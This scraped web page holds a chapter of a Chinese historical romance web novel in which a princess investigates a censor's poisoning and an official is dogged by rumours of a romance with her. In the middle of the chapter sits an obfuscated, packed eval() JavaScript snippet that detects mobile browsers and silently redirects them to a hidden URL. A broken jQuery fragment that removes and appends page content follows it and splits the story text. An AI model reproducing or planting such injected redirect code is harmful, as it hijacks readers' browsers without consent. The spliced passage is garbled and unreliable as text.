默认冷灰
24号文字
方正启体

10. 010

作者:张槿妍本书字数:K更新时间:
    此刻,梁府朱漆大门虚掩着,晚风卷着远处的吵闹声飘过来,却半点没吹散门内的凝滞。


    心中有底的小厮瞥见那抹艳红身影在他面前翻身下马,手握打鞭沉着脸走了过来。


    小厮心尖一跳,怎么是来他们府的!


    老爷欺他!


    小厮瞬间露出谄媚的笑迎了上去:“郡主千岁千岁千千岁!您这边请。”


    张流徽连眼皮都没抬一下,径直往府里走,身后跟着乌泱泱的一大片人,刀鞘碰撞的声音配合着脚步声,愣是走出了几分抄家的阵仗。


    小厮擦了擦额间不存在的汗珠,弓着腰殷勤地在前边带路,不忘和郡主说:“郡主,老爷刚还说要好好招待您,我家老爷为官清正,从未做过那等贪污犯法之事,不知郡主今日…”


    “呵——”


    清冷的一道冷哼声,轻飘飘落在暮色里,听不出喜怒,却像一盆冰水兜头浇下。


    小厮到了嘴边的话猛地噎回去,脖子一缩,再也不敢多言,只低着头,恨不得把脸埋进衣领里,老老实实做个引路的木头桩子。


    心中暗自告罪:老爷,我属实是努力了,郡主太骇人了。


    梁御史家中本就不算有钱人家,这府邸还是皇上赐下,只三进小院,不过片刻功夫,张流徽就到了所居住的正院。


    一大片金黄色的迎春花下,有一石桌,桌上摆着精致的糕点,梁御史与其夫人一手十指紧握,无生息的趴在上面,脸色乌青,唇瓣发紫,一派中毒之相。


    “梁恭时三人呢?”张流徽眉目骤然一凝,眼眸中弥漫着愕然,随即被浓重的担忧笼罩。


    她扫了一眼跪了满地的下人,一个个头埋得低低的,竟无一人说出梁恭时三人的下落,更是气不打一处来,“佩兰,还不带人去找!”


    “掘地三尺,也要把人找出来!”


    话音刚落,领头的管事重重磕在地上,额头撞得青石板咚咚作响,声泪俱下:“还望郡主绕过郎君娘子吧!求求郡主了…”


    萧共秋到时,梁府早已被郡主府的人围得水泄不通。


    郡主府的人一看是萧少卿,没有一点阻拦,领头侍卫举着火把上前,疑惑问道:“萧少卿,怎只有您一人?”


    问完,不忘往萧共秋身后远处看去,确认没看见多余的人时,这才收回目光。


    萧共秋想到来时一路的景象,面色不改道:“大理寺官员稍后便到。”


    一路往里,无一人将他拦下,待踏入正院,耳边顿时响起了一片哭嚎求饶声,只听了几句萧共秋就明白了个大概。


    隔了几人,萧共秋拱手:“下官萧共秋见过郡主。”


    “剩下的就交给你吧。”张流徽不想多说,这些人一个劲儿地磕头,她是要梁恭时的命吗?


    连梁御史的命她也没想要,是他们自己饮下毒酒身亡的。


    张流徽冷着脸离开。


    萧共秋拱手低头,直到见不到张流徽的裙摆,这才起身,瞥见一大院子泪眼汪汪的人时,无奈叹息一声:“起来吧,郡主不是那意思,若不早点找到梁小郎君三人,大概就只能见到三人的尸身了。”


    梁府一大家子,怎的就没有一个聪明人呢。


    萧共秋摇摇头,不想看郡主的良苦用心无人理解,好声好气的和管事等人解释了一番。


    梁御史是什么人,盛京谁人不知,偏就是如此,在得知郡主朝梁府而来时,无一人不震惊。


    梁御史当年的辉煌犹如今日的萧共秋,众寒门学子心中天神般的存在。


    萧共秋出现以前,众人所谈皆为梁御史梁黎生。


    梁黎生,黎民百姓的黎。


    盛京乱了一晚上,始作俑者清河郡主睡到午间方醒,因着她昨晚所行之事,朝会至今未结束。


    刚用完午食,豆蔻接过南星手中的锦帕,上前亲自给张流徽擦洗那双保护得如葱段般的十指,温声道:“佩兰着人来回话了,梁恭时三兄妹自出事后就跑去了萧少卿的府院,郡主可要将人带回?”


    “萧共秋不知?”


    豆蔻眉眼含着微笑:“萧少卿一夜未归。”


    为何一夜未归,自知自己做了什么的张流徽只觉头大,“不用理会,只需保证他们活着就行。”


    对大昭忠心之人她自会多给庇护,这个时候对梁御史最好的反而不是洗清罪名,护好孩子的性命才是最为紧要的。


    更别说查案她又不在行。


    专业的事要交给专业的人做。


    这时,南星小跑进来,屈身行礼后来到张流徽身边,低声道:“郡主,三年前那件事是沈德夫传出来的…”


    准确来说,是安远郡主的郡马谢则玉。


    谢则玉与人吃酒时,醉酒熏熏的同友人沈德夫哭诉,说什么安远郡主根本不喜欢他,一心只想着萧共秋,后又骂骂咧咧萧共秋有什么好的,值得她惦念至今。


    甚至还和沈德夫说到了现在,安远郡主也不愿意和他圆房,信誓旦旦道:“她一定是为了给萧共秋守身!”


    随后,谢则玉抱着沈德夫哭得好不伤心。


    而沈德夫,如普通学子般,对萧共秋格外崇敬,不仅不安慰,还对好友谢则玉说:“若是萧大人,也正常,则玉你要理解。”


    谢则玉闻言,哭得更厉害了,扬言要绝交。


    沈德夫进京参加春闱前,想到一起长大的友人要同他绝交很伤心,遂问了学子楼里的学子,大家都说他没错,沈德夫飘飘欲仙,而三年前的捉婿热潮也满京皆知。


    听完全程,张流徽不知道该说什么好。


    怪谢则玉吗?


    他好像已经够惨了。


    气,又一次出不去。


    张流徽拿起长鞭就去了练武场,月见跟在后面,离得远远的和她说京中近日发生了何事。


    第一日-


    朝中动员查案,朝会上皇上龙颜大怒,斥责百官是吃干饭的。


    京中百姓一一出来细说那九人所行之事,马后炮、浑水摸鱼之人被众嘲。


    ……


    第四日-


    朝会上皇上询问案情进展,刑部与大理寺联合上书,呈上初步罪证。


    京中百姓开始崇拜郡主,这么多官员都不敢敞开的事,郡主一下将其全干翻了!


    ……


    第七日-殿试-


    殿试题目并非众人所猜,同这次郡主连抽九人大案有关,而是与去岁赈灾粮后事有关,想走捷径的人纷纷被请出且三代内不得科考。


    说白了,国库没钱,怎么才能有很多银子。


    ……


    第十日-


    殿试结束,状元游街结束,郡主连抽九人案件久不闻声,京中百姓又落在了郡马一事身上。


    “嗯?”张流徽收回又一次将稻草人抽得破烂的鞭子,接过天冬递来的手帕擦擦薄汗,眉峰蹙起,“这件事都过去多久了,怎么又有人提起?”


    她和萧共秋怎么就有私情了?


    三年前捉婿热潮的事情还没过去么?


    她都亲自让人下注他们成不了了,这些人怎么还能扯着这件事来来回回讨论。


    她身边的几个人,出行谁不认识。


    南星去下注,就如同她去下注。


    张流徽喝了一大口凉茶,才觉得心头的燥热散了些。


    月见连忙跟上,小心翼翼地解释:“不知是谁传出来的,说萧少卿对郡主很是了解,见不得人说郡主一句不好,定是两人早已有联系且关系紧密。”


    “也有人说了郡主下注一事,不过他们都说这是欲盖弥彰,是郡主故意放出的烟雾弹。”


    “这不前段时日殿试题目与丰盈国库有关吗?百姓就说定是皇上缺钱,所以才让郡主下注两人不成的,就是为了迷惑大家,最后郡主与萧少卿成婚,有情人终成眷属后,国库也有钱了。”


    张流徽:“……”不得不佩服这些人的脑子。


    国库再不丰,舅舅也不会盯着她的婚事!


    可百姓又不了解皇上,排除这一点,莫名有些合理怎么回事。


    天冬瞥见郡主那面无表情的脸,踌躇了会儿,还是慢吞吞道:“其实最重要的还是皇上的态度,大家都说传言这么久了,也不见郡主出面,皇上也没说什么,还重用了萧少卿,这一定是对萧少卿这个郡马的考验!”


    怕被误解,天冬连忙跟了句:“这都是百姓们说的!”


    张流徽忍不住嘴角抽了抽,她还要怎样出面,都让南星去下注了,上一次见萧共秋还是数十日前的晚上,还是因为她去抽人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125128|196029||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    至于因为她重用萧共秋更是无稽之言。


    萧共秋身为大理寺少卿,管理一整个大理寺,近日京中事情繁多,刑部、大理寺、京兆尹忙得脚不沾地,那不叫重用,那叫本职!


    张流徽深吸一口气,若她真和萧共秋有私情,那人也不会办案多艰,也不会还坐在大理寺少卿的位置上。


    为什么大理寺卿年过七旬,连朝会都不上还要坐着大理寺卿的位置?


    那是给萧共秋占位。


    萧共秋有能力,但又没能力。


    所以舅舅才不让顾大人辞官,顾大人也感念有这样优秀的后生,为了照顾萧共秋,一把年纪,出行都麻烦,还要把官位坐得稳稳当当。


    萧共秋能有今日,不是因为她清河郡主,而是他自身的努力。


    “大哥呢?”


    梳洗完,张流徽越想越觉得不对,还是要早日澄清谣言,她倒没事,名声于她而言可有可无,再说了真要因为这点谣言就不喜欢她的男子,不要也罢。


    但萧共秋不同,任谣言继续传下去,可没人敢同他结亲。


    被郡主看上的人,谁敢招惹?


    “在工部上值呢。”


    “走,去找大哥!”


    张流徽缠好鞭子,就往外走,若实在不行,招个郡马也行,只要长得俊美,其他都可以不谈,毕竟对她不好他就没有任何价值了。


    灯火通明多日的大理寺,如今更是忙得众人脚不沾地。


    萧共秋几位大理寺官员正同刑部以及京兆尹的官员一起,商定后续事宜。


    案情查清表面,深处到底是挖还是不挖,又该如何上报给皇上,判罪如何判,又如何告知百姓。


    桩桩件件,忙得众人连吃饭都在讨论。


    “我觉得还是不要继续查下去了,那些人不是我们得罪得起的。”


    “郡主你就得罪得起了?”一刑部官员怒斥,“你也不想想那九个人是怎么被爆出来的!”


    “那怎么办?往后查,牵连一大堆人,也不是你我能得罪的,到时候别说这身官袍,你项上那颗头颅还能安稳的在那都是个问题。”


    “……”


    萧共秋资历浅,看着闹哄哄的房间,犹如数十只蚊子在耳边嚷嚷,偏他又不能叫停,也不能离开,只能压下心中烦恼,刚端起一杯热茶,房内顿时安静下来,一只只大眼格外认真地盯着他,带着一股不言而喻的期待。


    萧共秋端着茶杯的手微微一顿,默默将其放回桌上,“各位大人这是…”


    刑部尚书接到其余几人的眼神,没好气地瞪了回去,随后和善的瞧向那眉清目秀之人,斟酌着说:“是这样的,萧大人啊……”


    “大人,这可万万使不得!”萧共秋哪还顾得上这些人的怪异,起身行礼,“某不过四品,如何当得起苏大人一句大人。”


    刑部尚书苏大人年过半百,往日看萧共秋那就像看自家孙子一般喜爱,若这真是自家孩子,苏大人那只会更高兴,可今日…


    再一次接收到众人的视线,苏大人深吸一口气,谁叫他官位最大呢。


    苏大人抬手将萧共秋扶起,愁眉苦脸道:“你也看见了,今日我们这事肯定是商量不出个结果的,可若是有了郡主,那就不一样了,萧少卿,你可懂?”


    满是斑点的褶皱脸正对他挤眉弄眼,他是多日来都在办案,但对于京中的谣言也不是不知。


    大理寺的人,不能不了解京中的热闹,有些时候,破案的关键之处就藏在这里面。


    所以,萧共秋一直对此都是有关注的。


    他再不想懂,众位大人的意思也实在不得不懂。


    越是懂,越是不知所措。


    办案至今,他从未得到过如此关注。


    萧共秋喉结滚动了一下,肩膀微微垮下来,“苏大人,下官与郡主实在不是传言那般…”


    话未说完,堂外突然传来一阵急促的脚步声,五加气喘吁吁地冲进来,嗓门大得能掀翻屋顶:“大人!捕贼官抓到一个说郡主坏话的!”


    萧共秋张了张嘴,剩下的话尽数堵在喉咙里。


    他看着满堂同僚那谴责的眼神,默默闭上嘴,以后郡主若是问起,他自有说法。


    解释了,可实在没人信。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)